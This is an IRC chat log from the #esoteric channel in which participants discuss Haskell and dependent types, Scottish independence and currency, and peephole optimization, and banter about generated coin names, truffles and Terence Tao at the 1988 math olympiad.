< 1393632601 915577 :yorick!~yorick@oftn/member/yorick QUIT :Read error: Connection reset by peer < 1393632844 29482 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1393633099 979828 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://explosm.net/comics/3479/ < 1393633301 694698 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :poor quintopia < 1393633340 135959 :Bicyclidine!45a62f69@gateway/web/freenode/ip.69.166.47.105 PRIVMSG #esoteric :there ain't no rest for the wicked // money don't grow on trees // i got bills to pay, i got mouths to feed // oh there ain't nothin in this world for free < 1393633355 816579 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :what about me < 1393633486 787295 :zzo38!~zzo38@24-207-51-179.eastlink.ca JOIN :#esoteric < 1393634141 337516 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1393635288 648145 :vravn!~ravn@syn.rook.sx QUIT :Excess Flood < 1393635436 404161 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1393637558 147058 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 264 seconds < 1393637614 80988 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1393637909 55331 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1393638088 860075 :Bicyclidine!45a62f69@gateway/web/freenode/ip.69.166.47.105 QUIT :Ping timeout: 245 seconds < 1393638408 779976 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :`coins < 1393638411 301292 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :keecoin braemcoin spacecoin fluracoin wunnedcoin wisendstorycoin ctorcoin askingcoin smongcoin hsemecoin .gercoin blacecreadcoin c-logincoin marquistcoin entecoin weacoin provinsomskjcoin cilacoin tinycoin porigcoin < 1393638519 857113 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :tinycoin seems very much like a real one < 1393638527 327365 :vravn!~vravn@syn.rook.sx QUIT :Excess Flood < 1393638554 331996 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i'll take ciliacoins < 1393638639 316826 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :meanwhile, askingcoins don't actually exist, but there are nonetheless many people trying to buy them for exorbitant prices < 1393638645 514997 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :porigcoin will be the currency of an independent scotland < 1393638646 640861 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1393638758 319730 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :the EU seem to really dislike the concept of Scottish independence for some reason < 1393638832 635968 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1393639034 776065 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1393639035 27768 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1393639308 807625 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Am I allowed to find it funny that there is a sense in which Java is safer than Haskell? < 1393639329 111254 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :(Although not really since a library in Haskell can do the same thing) < 1393639379 356594 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Still... where Haskell may use undefined as an argument to something because it wants to know the type, Java would just pass in a Class, which is still a usable object < 1393639543 874499 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :You can do the same in Haskell you can have a type parameter which doesn't do anything too < 1393639622 990290 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :?messages-loud < 1393639623 175789 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :kmc asked 6h 53m 55s ago: What do you think of the subroutine AC82 documented in http://meatfighter.com/nintendotetrisai/ < 1393639657 407432 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ais523: hm do you know why? < 1393639691 728545 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Sgeo: sounds like data Proxy a = Proxy < 1393639777 839197 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :kmc: just an idea at what the name would be appropriate for < 1393639787 469240 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i meant re scotland < 1393639809 576150 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :kmc: oh, it's to do with the exceptions the UK has for a bunch of things, like border control and the single currency < 1393639833 425858 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :currency union with england seems like a sticking point < 1393639834 395573 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yeah < 1393639836 668736 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :they're refusing to allow a hypothetical independent Scotland in on that, meaning that Scotland would have to either leave the EU or adopt the Euro, Schengen group, etc. < 1393639849 374987 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :fwiw, I'm broadly in favour of the EU, but against the euro < 1393639856 427107 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :are they officially refusing it or is it just speculation still < 1393639878 165995 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I'm not sure if it was official official, but some high-ranking person said that that's what they intended to do, in a nonbinding way < 1393640004 360454 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :nobody much wants scotland to join the euro do they < 1393640017 258787 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :anymore < 1393640069 859002 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I don't see any real benefit that would come from it < 1393640124 971057 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :although I'm generally in favour of splitting up currencies as much as possible, so I'd prefer an independent Scotland to have its own currency just for economic reasons < 1393640160 763626 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it's hard to be truly independent if you don't have control over monetary policy < 1393640240 682296 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :indeed < 1393640270 105750 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :also, I'm not entirely sure what you call the /other/ country left over if Scotland becomes independent < 1393640292 587343 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :United Kindom of Some of Britain and Northern Ireland < 1393640292 936763 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :kingdom < 1393640293 672914 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :because "great britain" is even less accurate a summary of the non-Northern Ireland bit than before < 1393640296 935361 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Kingdom* < 1393640306 325736 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :just call the place Kingdom < 1393640309 924349 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :lol < 1393640348 379979 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :That Place What The Queen Lives In I Hear < 1393640484 61081 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Rarewealth < 1393640590 715261 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :kmc: that's what I meant by Haskell being able to do it. But I think people still use undefined for that purpose, not sure why < 1393640601 59338 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :> head [] < 1393640602 93830 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : *Exception: Prelude.head: empty list < 1393640614 168490 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Type safe. < 1393640622 515241 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :does Haskell have a typesafe infinite list type? < 1393640634 66053 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :basically lists without nil? < 1393640635 497021 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :head : Vec (S n) a -> a < 1393640653 176935 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :data List a = Single a | List a (List a) < 1393640656 505483 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Sgeo: you basically need dependent typing to be able to get very far with that < 1393640668 474802 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ais523: I'm currently trying to understand dependent typing < 1393640680 428360 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I keep seeing individual use cases, but feel like I'm missing the full picture < 1393640716 66475 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :Jafet: does that not allow List 4 (Single 6) < 1393640760 972987 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :data Stream a = Stream a (Stream a) < 1393640761 368547 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Fortunately, it does. < 1393640763 27487 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Why the Single? < 1393640767 441762 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Oh! < 1393640773 931698 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :For a safe head < 1393640831 26904 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ais523: are there any excellent dependent typing tutorials around? < 1393640849 814439 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Sgeo: probably, but I don't know of any in particular < 1393640885 234937 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I feel like the purely imperative programmer trying to understand first-class functions by reading about how they're useful < 1393640897 65088 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :But without grasping the core concept < 1393640948 300357 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Sgeo: the core concept is basically "imagine a type of integers that have the value 4", generalize that, everything comes from there < 1393640957 976223 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Read error: Connection reset by peer < 1393641048 186219 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Can I make a Map of Strings to Types? I suspect I can in Idris but not Agda (without redefining whatever the local hashmap is), but not certain < 1393641329 263191 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :All integers have the value 4 in one day rotation < 1393641347 134940 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Sgeo: And what are the types going to be used for afterward? < 1393641380 861037 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :zzo38: I'm thinking something like an ST monad implementation that doesn't use unsafeCoerce < 1393641442 445477 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I don't know how ST monad works actually < 1393641443 812107 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :This is really making me unwilling to try Agda < 1393641456 777987 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Even if it has better tutorials < 1393641586 386107 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :ais523: that's not what dependent typing is < 1393641596 844121 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :that's refinement types < 1393641608 336973 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :elliott: working in a CS department, it's a bit confusing < 1393641618 784389 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :because they consider a huge range of things to all be dependent typing < 1393641637 612380 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Cumulative universes seem awesome, as far as I understand them < 1393641641 117404 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Haskell has a Typeable class which is possible to use for such a purpose < 1393641644 388491 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Especially with... whatever Idris does to hide them < 1393641867 118912 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :ais523: if they think that's dependent typing, they're just wrong < 1393641952 632441 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :elliott: I've seen tuples defined as functions from a set that obeys the integer axioms, to types, and that's apparently dependent typing too, or can be at least < 1393641990 584712 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I think because there were free variables of type tuple index, and they were separate from normal free variables < 1393642160 894657 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :dependent types is one of those things I'm really bad at, though < 1393642525 429669 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :How someone explained it, dependent sum types are like f 1 + f 2 + f 3 + f 4 + ... which is also like a Sigma operator, which would explain why it is called Sigma types. < 1393642586 251770 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :yeah < 1393642603 172200 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :except it doesn't even have to be a number index < 1393642638 619449 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Yes, I believe you < 1393643344 413149 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :soNot oh oh impossible < 1393644482 271066 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1393644514 46702 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1393644714 55956 :jconn!~va@1-130.ipswich.cc.colocall.com JOIN :#esoteric < 1393644794 39671 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 264 seconds < 1393645622 812741 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1393646292 801163 :nooodl!~nooodl@91.177.108.54 QUIT :Ping timeout: 244 seconds < 1393646319 353502 :vravn!~vravn@syn.rook.sx QUIT :Excess Flood < 1393646626 306741 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1393646920 691776 :vravn!~vravn@syn.rook.sx QUIT :Excess Flood < 1393646962 537818 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1393648826 269836 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :"I'd recommend Agda as the better vehicle for getting to grips with the ideas behind dependently typed programming, but Idris is the more practical option." < 1393648827 163073 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Hmm < 1393649470 492550 :vravn!~vravn@syn.rook.sx QUIT :Excess Flood < 1393649512 96746 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1393649657 74102 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :agda's mostly used for proofs, like coq is < 1393649670 753054 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :you don't even care what the program does when it runs, the point of the program is for it to compile at all < 1393650183 839722 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :“We propose the data “water cycle”, iRain, that ensures that the user is “soaked” with useful user data all the time.” < 1393650192 754371 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :http://cseweb.ucsd.edu/~gvenkatesh/About_Me_files/paper_2.pdf < 1393650221 362758 :ion!ion@heh.fi PRIVMSG #esoteric :wat < 1393650223 973178 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :zzo38: STRef is implemented the same as IORef, and runST the same as unsafePerformIO < 1393650257 246981 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :but the fancy type of runST prevents STRefs from one runST invocation from making their way into another (even by nesting) < 1393650267 541092 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :runST is more like unsafeDupablePerformIO, I think. < 1393650273 345406 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :or whatever the even more crazy version of that was. < 1393651032 934615 :newsham_!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :unsafeDrupalPerformIO? < 1393651626 811442 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1393652149 523373 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :`coins < 1393652152 376206 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :picoin cardcoin unwelcoin soncoin sparnapol)coin bergcoin dimenternalcoin omecoin aarguinecoin ble-2dcoin selcoin smartrucoin limacoin yclearblifecoin m-coderlingcoin 2-illcoin cloopticcoin liocoin ahelcoin mertcoin < 1393652209 460983 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :unwelcoin < 1393652492 396820 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :is there a trufflecoin? < 1393652574 953838 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :`words 20 < 1393652577 535709 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :ffilcant bed gium aufle olle agra frestasmi positecti inspu kxp outentairet octa comfi hatmoc prouge lobrahe sor eori ent jim < 1393652730 282476 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Will there be a future in which `words becomes hip again < 1393653458 795851 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Trufflecoin clearly is really just truffle futures. < 1393653798 102904 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1393653878 701432 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh right < 1393653936 276428 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Gregor``: THE LOGS FOR 2/29 ARE BROKEN HTH < 1393653959 125562 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION stealthily moves on to march < 1393653982 349827 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Oh hey, it's March now. < 1393654054 703248 :oerjan!oerjan@sprocket.nvg.ntnu.no TOPIC #esoteric :Beware the Hares of March. Also the Ides. | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/ < 1393655476 728053 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1393655490 590905 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :How do I encode patterns for peephole optimization? < 1393655759 763414 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 252 seconds < 1393655841 90183 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : Will there be a future in which `words becomes hip again <-- only when they abolish money hth < 1393655895 818959 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : Trufflecoin clearly is really just truffle futures. <-- i was imagining a coin made of truffle chocolate < 1393656014 379134 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :wait, there's no truffle in chocolate truffles? < 1393656084 419158 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Are chocolate truffles truffles made from chocolate? < 1393656097 738304 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :apparently so. < 1393656104 494449 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I think bitcoin would actually be worth more than truffle coins < 1393656140 98956 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :mind you, genuine chocolate with truffles also exists. < 1393656176 314889 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :or wait does it < 1393656197 478280 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :darn i'll have to open all these google hits to see if they're about the right kind < 1393656214 884722 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :What about chocolate that is made of truffles instead of chocolate < 1393656228 167498 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i don't think that's chocolate. < 1393656295 222795 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I would think, I could make a program optimization by using two kinds, AST optimization and instruction optimization. These instructions would also include some pseudo instruction such as a branch target instruction. < 1393656438 41910 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :By which I mean, each branch instruction must target a branch target instruction, and each branch target instruction must specify all possible places where it can come from. < 1393656517 124121 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ok i have trouble finding a link to a genuine mixing of chocolate with truffles < 1393656542 903046 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :despite my memory of eating such from confectionary boxes < 1393656625 396855 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Do you expect this would work OK? < 1393656716 776411 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :'Most "truffle oil", however, does not contain any truffles.' < 1393656819 164697 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :whoa, whoa, whoa < 1393656847 692421 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :today we had pizza with truffle oil at lunch and people were talking about that < 1393656856 651816 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :oerjan: are you pizza < 1393656903 734885 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :no. < 1393656952 303208 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :perhaps it existed in my childhood when truffles were cheaper... < 1393656974 671042 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and now it's forever gone. as will soon be truffles themselves. < 1393657203 237905 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :If truffles disappear, what will happen to truffle pigs? < 1393657248 251823 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :bacon hth < 1393657273 166319 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Truffle bacon (fried in the last remaining truffle oil) < 1393659811 893187 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"XMLHttpRequest cannot load file:///[REDACTED]. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'null' is therefore not allowed access." < 1393659817 468271 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :This *used* to work. < 1393659828 445031 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Guess they've added more security in it. < 1393659850 221807 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(The page trying to do the loading was another file:/// in the same directory.) < 1393660244 86357 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :I'm afraid of sleeping in case I miss The Run < 1393660435 320098 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1393660634 803970 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1393660635 37850 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1393661921 535067 :ais523!~ais523@unaffiliated/ais523 QUIT : < 1393665022 588503 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1393669418 9976 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1393671793 966358 :impomatic!~digital_w@78.69.90.146.dyn.plus.net QUIT :Ping timeout: 264 seconds < 1393672146 240276 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION looks at terence tao's homepage, and suddenly realizes he could possibly have met him at the 1988 IMO. < 1393672150 42811 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oops < 1393672156 866299 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*terence tao's wikipedia page < 1393672247 207536 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :oerjan, I'm pretty sure I did not < 1393672289 994340 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :that not being born thing huh? < 1393672302 162033 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Yeah, it's a bummer < 1393672359 291487 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i am having this vague vision that there was a ridiculously precocious child there, but it's so vague i have no idea if i'm making it up. < 1393672378 86519 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Was it just a baby < 1393672394 923781 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :no. < 1393672443 772171 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :he'd have been 12, and at the IMO for the third time < 1393672479 583984 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :What's the IMO < 1393672508 695496 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :international mathematics olympiad < 1393672541 147221 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh no 13 < 1393672549 866554 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :I went to that when I was a kid : http://en.wikipedia.org/wiki/Mathematical_Kangaroo < 1393672551 991644 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :"He remains the youngest winner of each of the three medals in the Olympiad's history, winning the gold medal shortly after his thirteenth birthday. " < 1393672564 349214 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :I am pretty pissed because I didn't win the kangaroo < 1393672591 63437 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :not the same competition though < 1393672597 761717 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :I am aware < 1393672613 811701 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :I won a T-shirt there, but I lost it since :( < 1393672698 599447 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :also this would be the year it was in australia, his home country < 1393672716 722407 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1393672727 219968 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Of the kangaroo? < 1393672738 207945 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :COINCIDENCES GALORE < 1393672748 51783 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :J. Edgar Hoover! < 1393672754 359897 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Why did you come to haunt us! < 1393673031 746429 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and the press were all over him, my vague memory vaguely claims. < 1393673047 959023 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :which they would be, naturally. < 1393673084 554712 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :1988, so long ago < 1393673111 498731 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :the start of the happiest period in my life. < 1393673169 862310 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :but oh so vauge. < 1393673173 255000 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*vague < 1393673424 67557 :Slereah__!~jackal@176.222.51.233 JOIN :#esoteric < 1393673433 506226 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :Well fuck < 1393673505 930514 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well fucked? < 1393673524 404063 :Slereah__!~jackal@176.222.51.233 PRIVMSG #esoteric :We can only hope < 1393673629 973385 :Slereah_!~jackal@176.222.51.233 QUIT :Ping timeout: 264 seconds < 1393673727 862183 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: Latér < 1393675705 899124 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1393675753 114090 :Slereah__!~jackal@176.222.51.233 QUIT :Ping timeout: 240 seconds < 1393676376 179543 :copumpkin!~copumpkin@unaffiliated/copumpkin QUIT :Quit: My MacBook Pro has gone to sleep. ZZZzzz… < 1393680968 667672 :samebchase!~samuel@codesurfers.net JOIN :#esoteric < 1393682059 443893 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1393682270 789589 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1393682271 104177 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1393683707 103325 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1393684134 881873 :nooodl!~nooodl@91.177.108.54 JOIN :#esoteric < 1393684511 821219 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :good սուրճ morning! < 1393684599 446088 :ion!ion@heh.fi PRIVMSG #esoteric :svyirch? < 1393684737 63817 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Compute richness indices and their standard errors from survey data. Huh? < 1393684751 825673 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ion: sourč̣. < 1393684796 283335 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :Read error: Connection reset by peer < 1393684879 278505 